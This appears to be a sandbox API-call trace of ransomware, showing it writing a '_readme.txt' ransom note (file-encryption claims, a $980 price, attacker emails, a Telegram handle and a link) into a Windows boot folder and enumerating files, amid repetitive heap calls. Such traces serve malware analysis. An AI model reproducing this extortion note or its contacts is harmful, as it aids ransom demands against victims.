hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.397] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.398] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.398] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0266.398] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.398] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.398] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0266.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.399] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.399] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.399] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.399] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.400] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.400] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.400] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.400] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.400] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.400] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.400] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.400] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.401] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.401] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.402] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.403] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.403] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.404] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.405] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.406] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 